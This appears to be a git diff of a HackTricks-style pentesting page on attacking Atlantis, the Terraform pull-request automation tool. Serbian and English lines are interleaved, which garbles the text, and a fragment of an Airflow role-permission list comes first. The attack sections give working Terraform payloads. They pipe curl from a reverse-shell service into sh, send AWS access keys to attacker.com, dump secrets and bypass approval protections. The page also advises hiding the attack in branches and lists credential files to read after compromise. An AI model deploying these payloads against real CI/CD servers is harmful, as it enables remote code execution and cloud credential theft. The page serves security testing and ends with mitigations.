Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
- **User**
\[može čitati na DAGs, može uređivati na DAGs, može brisati na DAGs, može čitati na DAG Runs, može čitati na Task Instances, može uređivati na Task Instances, može brisati na DAG Runs, može kreirati na DAG Runs, može uređivati na DAG Runs, može čitati na Audit Logs, može čitati na ImportError, može čitati na XComs, može čitati na DAG Code, može čitati na Plugins, može čitati na DAG Dependencies, može čitati na Jobs, može čitati na My Password, može uređivati na My Password, može čitati na My Profile, može uređivati na My Profile, može čitati na SLA Misses, može čitati na Task Logs, može čitati na Website, pristup meniju na Browse, pristup meniju na DAG Dependencies, pristup meniju na DAG Runs, pristup meniju na Documentation, pristup meniju na Docs, pristup meniju na Jobs, pristup meniju na Audit Logs, pristup meniju na Plugins, pristup meniju na SLA Misses, pristup meniju na Task Instances, može kreirati na Task Instances, može brisati na Task Instances]
\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
- **Viewer**
\[može čitati na DAGs, može čitati na DAG Runs, može čitati na Task Instances, može čitati na Audit Logs, može čitati na ImportError, može čitati na XComs, može čitati na DAG Code, može čitati na Plugins, može čitati na DAG Dependencies, može čitati na Jobs, može čitati na My Password, može uređivati na My Password, može čitati na My Profile, može uređivati na My Profile, može čitati na SLA Misses, može čitati na Task Logs, može čitati na Website, pristup meniju na Browse, pristup meniju na DAG Dependencies, pristup meniju na DAG Runs, pristup meniju na Documentation, pristup meniju na Docs, pristup meniju na Jobs, pristup meniju na Audit Logs, pristup meniju na Plugins, pristup meniju na SLA Misses, pristup meniju na Task Instances]
\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
- **Public**
\[]
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,109 +4,109 @@
### Basic Information
Atlantis u suštini pomaže vam da pokrenete terraform iz Pull Requests sa vašeg git servera.
Atlantis basically helps you to to run terraform from Pull Requests from your git server.
![](<../images/image (161).png>)
### Local Lab
1. Idite na **atlantis releases page** u [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) i **preuzmite** onaj koji vam odgovara.
2. Kreirajte **lični token** (sa pristupom repozitorijumu) vašeg **github** korisnika.
3. Izvršite `./atlantis testdrive` i to će kreirati **demo repo** koji možete koristiti da **komunicirate sa atlantis**.
1. Možete pristupiti web stranici na 127.0.0.1:4141.
1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
2. Create a **personal token** (with repo access) of your **github** user
3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
1. You can access the web page in 127.0.0.1:4141
### Atlantis Access
#### Git Server Credentials
**Atlantis** podržava nekoliko git hostova kao što su **Github**, **Gitlab**, **Bitbucket** i **Azure DevOps**.\
Međutim, da bi pristupio repozitorijumima na tim platformama i izvršio akcije, potrebno je da ima određeni **privilegovan pristup** (barem prava za pisanje).\
[**Dokumentacija**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) preporučuje kreiranje korisnika na ovim platformama posebno za Atlantis, ali neki ljudi mogu koristiti lične naloge.
**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
> [!WARNING]
> U svakom slučaju, iz perspektive napadača, **Atlantis nalog** će biti veoma **interesantan** **za kompromitovanje**.
> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
#### Webhooks
Atlantis koristi opcionalno [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) da bi potvrdio da su **webhook-ovi** koje prima sa vašeg Git hosta **legitimni**.
Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
Jedan način da to potvrdite bio bi da **dozvolite zahteve samo sa IP adresa** vašeg Git hosta, ali lakši način je korišćenje Webhook Secret-a.
One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
Napomena: osim ako ne koristite privatni github ili bitbucket server, moraćete da izložite webhook krajnje tačke internetu.
Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
> [!WARNING]
> Atlantis će **izlagati webhook-ove** kako bi git server mogao da mu šalje informacije. Iz perspektive napadača, bilo bi zanimljivo znati **da li možete slati poruke**.
> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
[Iz dokumentacije:](https://www.runatlantis.io/docs/provider-credentials.html)
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
Atlantis pokreće Terraform jednostavno **izvršavajući `terraform plan` i `apply`** komande na serveru **na kojem je Atlantis hostovan**. Baš kao kada pokrećete Terraform lokalno, Atlantis treba kredencijale za vaš specifični provajder.
Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
Na vama je kako ćete [obezbediti kredencijale](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) za vaš specifični provajder Atlantis-u:
It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) i [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) imaju svoje mehanizme za kredencijale provajdera. Pročitajte njihovu dokumentaciju.
- Ako pokrećete Atlantis u oblaku, mnogi oblaci imaju načine da daju pristup cloud API-ju aplikacijama koje se na njima pokreću, npr:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Pretražite "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Mnogi korisnici postavljaju promenljive okruženja, npr. `AWS_ACCESS_KEY`, gde se Atlantis pokreće.
- Drugi kreiraju potrebne konfiguracione datoteke, npr. `~/.aws/credentials`, gde se Atlantis pokreće.
- Koristite [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) da dobijete kredencijale provajdera.
- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
> [!WARNING]
> **Kontejner** u kojem **Atlantis** **radi** će verovatno **sadržati privilegovane kredencijale** za provajdere (AWS, GCP, Github...) koje Atlantis upravlja putem Terraforma.
> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
#### Web Page
Po defaultu, Atlantis će pokrenuti **web stranicu na portu 4141 na localhost-u**. Ova stranica vam samo omogućava da omogućite/isključite atlantis apply i proverite status plana repozitorijuma i otključate ih (ne dozvoljava modifikaciju, tako da nije previše korisna).
By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
Verovatno je nećete naći izloženu internetu, ali izgleda da po defaultu **nema potrebnih kredencijala** za pristup (a ako ih ima, `atlantis`:`atlantis` su **default**).
You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
### Server Configuration
Konfiguracija za `atlantis server` može se specificirati putem komandnih linijskih zastavica, promenljivih okruženja, konfiguracione datoteke ili kombinacije tri.
Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
- Možete pronaći [**ovde listu zastavica**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) koje podržava Atlantis server.
- Možete pronaći [**ovde kako da transformišete opciju konfiguracije u env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
Vrednosti se **biraju u ovom redosledu**:
Values are **chosen in this order**:
1. Zastavice
2. Promenljive okruženja
3. Konfiguraciona datoteka
1. Flags
2. Environment Variables
3. Config File
> [!WARNING]
> Napomena: u konfiguraciji možete pronaći zanimljive vrednosti kao što su **tokeni i lozinke**.
> Note that in the configuration you might find interesting values such as **tokens and passwords**.
#### Repos Configuration
Neke konfiguracije utiču na **kako se upravlja repozitorijumima**. Međutim, moguće je da **svaki repo zahteva različite postavke**, tako da postoje načini da se specificira svaki repo. Ovo je redosled prioriteta:
Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) datoteka. Ova datoteka se može koristiti za specificiranje kako atlantis treba da tretira repo. Međutim, po defaultu, neki ključevi se ne mogu specificirati ovde bez nekih zastavica koje to omogućavaju.
1. Verovatno je potrebno da bude dozvoljeno zastavicama kao što su `allowed_overrides` ili `allow_custom_workflows`.
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Možete je proslediti sa zastavicom `--repo-config` i to je yaml koji konfiguriše nove postavke za svaki repo (regexi su podržani).
3. **Default** vrednosti.
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
3. **Default** values
**PR Protections**
Atlantis omogućava da naznačite da li želite da **PR** bude **`odobren`** od nekoga drugog (čak i ako to nije postavljeno u zaštiti grane) i/ili da bude **`spreman za spajanje`** (zaštite grane su prošle) **pre nego što pokrenete apply**. Sa sigurnosnog stanovišta, preporučuje se postavljanje obe opcije.
Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
U slučaju da je `allowed_overrides` True, ova podešavanja mogu biti **prepisana u svakom projektu putem datoteke `/atlantis.yml`**.
In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
**Scripts**
Konfiguracija repozitorijuma može **specificirati skripte** koje će se izvršiti [**pre**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) i [**posle**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) kada se **workflow izvrši.**
The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
Ne postoji opcija da se **specificiraju** ove skripte u **repo `/atlantis.yml`** datoteci.
There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. However, if there is a confgured script to execute that is located in the same repo, it's possible to **modify it's content in a PR and make it execute arbitrary code.**
**Workflow**
U konfiguraciji repozitorijuma (server side config) možete [**specificirati novi podrazumevani workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), ili [**kreirati nove prilagođene workflow-e**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Takođe možete **specificirati** koji **repozi** mogu **pristupiti** novim generisanim.\
Zatim, možete dozvoliti **atlantis.yaml** datoteci svakog repozitorijuma da **specificira workflow koji će se koristiti.**
In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
> [!CAUTION]
> Ako je [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) zastavica `allow_custom_workflows` postavljena na **True**, workflow-i se mogu **specificirati** u **`atlantis.yaml`** datoteci svakog repozitorijuma. Takođe je potencijalno potrebno da **`allowed_overrides`** takođe specificira **`workflow`** da **prepiše workflow** koji će se koristiti.\
> Ovo će u osnovi dati **RCE u Atlantis server svakom korisniku koji može pristupiti tom repozitorijumu**.
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
>
> ```yaml
> # atlantis.yaml
@@ -126,18 +126,19 @@ Zatim, možete dozvoliti **atlantis.yaml** datoteci svakog repozitorijuma da **s
**Conftest Policy Checking**
Atlantis podržava pokretanje **server-side** [**conftest**](https://www.conftest.dev/) **politika** protiv izlaza plana. Uobičajeni slučajevi korišćenja ovog koraka uključuju:
Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
- Odbijanje korišćenja liste modula
- Potvrđivanje atributa resursa u trenutku kreiranja
- Hvatanje nenamernih brisanja resursa
- Sprečavanje sigurnosnih rizika (npr. izlaganje sigurnih portova javnosti)
- Denying usage of a list of modules
- Asserting attributes of a resource at creation time
- Catching unintentional resource deletions
- Preventing security risks (ie. exposing secure ports to the public)
Možete proveriti kako da to konfigurišete u [**dokumentaciji**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
### Atlantis Commands
[**U dokumentaciji**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) možete pronaći opcije koje možete koristiti za pokretanje Atlantis-a:
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
```bash
# Get help
atlantis help
@@ -160,82 +161,94 @@ atlantis apply [options] -- [terraform apply flags]
## --verbose
## You can also add extra terraform options
```
### Napadi
### Attacks
> [!WARNING]
> Ako tokom eksploatacije naiđete na ovu **grešku**: `Error: Error acquiring the state lock`
> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
You can fix it by running:
Možete je popraviti pokretanjem:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
#### Atlantis plan RCE - Modifikacija konfiguracije u novom PR-u
Ako imate pristup za pisanje u repozitorijum, moći ćete da kreirate novu granu i generišete PR. Ako možete **izvršiti `atlantis plan`** (ili možda se automatski izvršava) **moći ćete da RCE unutar Atlantis servera**.
#### Atlantis plan RCE - Config modification in new PR
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
Možete to uraditi tako što ćete [**Atlantis učitati spoljašnji izvor podataka**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Samo stavite payload kao što je sledeći u `main.tf` datoteku:
```json
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Tajni napad**
Možete izvesti ovaj napad čak i na **tajniji način**, prateći ove sugestije:
**Stealthier Attack**
You can perform this attack even in a **stealthier way**, by following this suggestions:
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
- Umesto da direktno dodate rev shell u terraform datoteku, možete **učitati spoljašnji resurs** koji sadrži rev shell:
```javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
Možete pronaći rev shell kod na [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
- U spoljnim resursima, koristite **ref** funkciju da sakrijete **terraform rev shell kod u grani** unutar repozitorijuma, nešto poput: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Umesto** kreiranja **PR za master** da pokrenete Atlantis, **napravite 2 grane** (test1 i test2) i kreirajte **PR od jedne do druge**. Kada završite napad, samo **uklonite PR i grane**.
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
#### Atlantis plan Dump Tajni
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
#### Atlantis plan Secrets Dump
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
Možete **dumpovati tajne korišćene od strane terraform** pokretanjem `atlantis plan` (`terraform plan`) tako što ćete staviti nešto poput ovoga u terraform datoteku:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
value = nonsensitive(var.do_token)
}
```
#### Atlantis primenjuje RCE - Izmena konfiguracije u novom PR-u
Ako imate pristup za pisanje u repozitorijum, moći ćete da kreirate novu granu i generišete PR. Ako možete **izvršiti `atlantis apply`, moći ćete da RCE unutar Atlantis servera**.
#### Atlantis apply RCE - Config modification in new PR
Međutim, obično ćete morati da zaobiđete neke zaštite:
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
- **Mogućnost spajanja**: Ako je ova zaštita postavljena u Atlantis-u, možete pokrenuti **`atlantis apply` samo ako je PR moguć za spajanje** (što znači da zaštita grane mora biti zaobiđena).
- Proverite potencijalne [**zaštite grane zaobilaženja**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Odobreno**: Ako je ova zaštita postavljena u Atlantis-u, neki **drugi korisnik mora odobriti PR** pre nego što možete pokrenuti `atlantis apply`
- Po defaultu možete zloupotrebiti [**Gitbot token da zaobiđete ovu zaštitu**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
However, you will usually need to bypass some protections:
- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
- Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
- By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
You just need to make sure some payload like the following ones ends in the `main.tf` file:
Pokretanje **`terraform apply` na malicioznom Terraform fajlu sa** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
Samo se pobrinite da neki payload poput sledećih završi u `main.tf` fajlu:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
Sledite **preporukama iz prethodne tehnike** da izvršite ovaj napad na **diskretniji način**.
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
#### Terraform Param Injection
Kada pokrećete `atlantis plan` ili `atlantis apply`, terraform se pokreće u pozadini, možete proslediti komande terraform-u iz atlantis-a komentarišući nešto poput:
When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
```bash
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help
@@ -243,17 +256,18 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
```
Nešto što možete proći su env varijable koje mogu biti korisne za zaobilaženje nekih zaštita. Proverite terraform env varijable u [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
#### Prilagođeni tok rada
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
Pokretanje **malicious custom build commands** navedenih u `atlantis.yaml` datoteci. Atlantis koristi `atlantis.yaml` datoteku iz grane pull request-a, **ne** iz `master`.\
Ova mogućnost je pomenuta u prethodnom odeljku:
#### Custom Workflow
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
This possibility was mentioned in a previous section:
> [!CAUTION]
> Ako je [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) zastavica `allow_custom_workflows` postavljena na **True**, tokovi rada mogu biti **navedeni** u **`atlantis.yaml`** datoteci svake repozitorije. Takođe je potencijalno potrebno da **`allowed_overrides`** takođe specificira **`workflow`** da bi se **zaobišao tok rada** koji će se koristiti.
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
>
> Ovo će u osnovi dati **RCE na Atlantis serveru bilo kojem korisniku koji može pristupiti toj repozitoriji**.
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
>
> ```yaml
> # atlantis.yaml
@@ -272,97 +286,99 @@ Ova mogućnost je pomenuta u prethodnom odeljku:
> - run: my custom apply command
> ```
#### Zaobilaženje plan/apply zaštita
#### Bypass plan/apply protections
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
Ako je [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) zastavica `allowed_overrides` _konfigurisana_ sa `apply_requirements`, moguće je da repozitorija **modifikuje plan/apply zaštite da ih zaobiđe**.
```yaml
repos:
- id: /.*/
apply_requirements: []
- id: /.*/
apply_requirements: []
```
#### PR Hijacking
Ako neko pošalje **`atlantis plan/apply` komentare na vašim validnim pull zahtevima,** to će uzrokovati da terraform radi kada to ne želite.
If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
Štaviše, ako nemate podešeno u **zaštiti grane** da traži da se **ponovo proceni** svaki PR kada se **novi commit pošalje** na njega, neko bi mogao da **napisuje zloćudne konfiguracije** (proverite prethodne scenarije) u terraform konfiguraciji, pokrene `atlantis plan/apply` i dobije RCE.
Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
Ovo je **podešavanje** u Github zaštitama grane:
This is the **setting** in Github branch protections:
![](<../images/image (216).png>)
#### Webhook Secret
Ako uspete da **ukradete webhook secret** koji se koristi ili ako **nema webhook secret** koji se koristi, mogli biste **pozvati Atlantis webhook** i **izvršiti atlatis komande** direktno.
If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
#### Bitbucket
Bitbucket Cloud **ne podržava webhook secrets**. Ovo bi moglo omogućiti napadačima da **lažiraju zahteve iz Bitbucket-a**. Osigurajte da dozvoljavate samo Bitbucket IP adrese.
Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
- To znači da bi **napadač** mogao da napravi **lažne zahteve ka Atlantis-u** koji izgledaju kao da dolaze iz Bitbucket-a.
- Ako specificirate `--repo-allowlist`, onda bi mogli samo da lažiraju zahteve koji se odnose na te repozitorijume, tako da bi najveća šteta koju bi mogli da naprave bila planiranje/aplikacija na vašim repozitorijumima.
- Da biste to sprečili, dozvolite [Bitbucket-ove IP adrese](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (vidi Izlazne IPv4 adrese).
- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
### Post-Exploitation
Ako ste uspeli da dobijete pristup serveru ili barem ste dobili LFI, postoje neke zanimljive stvari koje biste trebali pokušati da pročitate:
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
- `/home/atlantis/.git-credentials` Sadrži vcs pristupne akreditive
- `/atlantis-data/atlantis.db` Sadrži vcs pristupne akreditive sa više informacija
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stanje datoteke
- Primer: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Env varijable
- `/proc/[2-20]/cmdline` Cmd linija `atlantis server` (može sadržati osetljive podatke)
- `/home/atlantis/.git-credentials` Contains vcs access credentials
- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
- `/proc/1/environ` Env variables
- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
### Mitigations
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
Zato što bilo ko može komentarisati na javnim pull zahtevima, čak i sa svim dostupnim bezbednosnim mitigacijama, i dalje je opasno pokretati Atlantis na javnim repozitorijumima bez pravilne konfiguracije bezbednosnih podešavanja.
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
Ako radite na javnom repozitorijumu (što nije preporučljivo, vidi iznad), ne biste trebali postaviti `--allow-fork-prs` (podrazumevano je false) jer bilo ko može otvoriti pull zahtev iz svog fork-a ka vašem repozitorijumu.
